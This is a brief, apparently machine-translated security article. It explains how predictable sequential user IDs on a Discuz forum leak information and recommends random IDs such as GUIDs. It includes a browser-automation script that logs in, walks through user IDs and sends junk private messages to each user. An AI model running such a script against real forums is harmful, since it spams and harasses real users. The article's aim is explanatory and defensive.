Utilization of Information Leakage

Because WEB applications are deployed on the network, they are easy to access and some security information is easily exposed, such as user data and server information. Some of the leaked information can be directly used, for example, some of the user's account information can be indirectly used. For example, the Discuz Forum accesses user information because the user ID is foreseeable. For example:

Http://bbs.XXX.com/space.php? Action = viewpro & UUID = 10000

The uid here is predictable and increases in the registration order.

Malicious users can use this information. For example, if they want to send mass messages to Forum users, they can use a script similar to the following:

SystemUtil. Run "iexplore", "http://bbs.XXX.com /"

Browser ("XXX"). Navigate "http://bbs.XXX.com /"

Browser ("XXX"). Page ("XXX"). Link ("login"). Click
Browser ("XXX"). Page ("XXX"). WebEdit ("username"). Set "user1"
Browser ("XXX"). Page ("XXX"). WebEdit ("password"). Set "userpasswd"
Browser ("XXX"). Page ("XXX"). WebButton ("login"). Click

Uid = 1, 10000
On Error Resume Next
For I = 0 to 10
Uid = uid + 1
Browser ("XXX"). Navigate "http://bbs.XXX.com/space.php? Action = viewpro & uid = "& uid
Browser ("XXX"). Page ("XXX"). Link ("send short message"). Click
Browser ("XXX"). Page ("XXX"). WebEdit ("message"). Click
Browser ("XXX"). Page ("XXX"). WebEdit ("message"). Set "junk information! "
Browser ("XXX"). Page ("XXX"). WebButton ("send"). Click
Wait 15
Next

Browser ("XXX"). Page ("XXX"). Link ("exit"). Click

SystemUtil. CloseProcessByName "iexplore"

If the Discuz Forum makes some changes to the design of the user ID, instead of using a predictable ID (sequential registration), it uses a random number (such as GUID ), the possibility of exploitation is greatly reduced.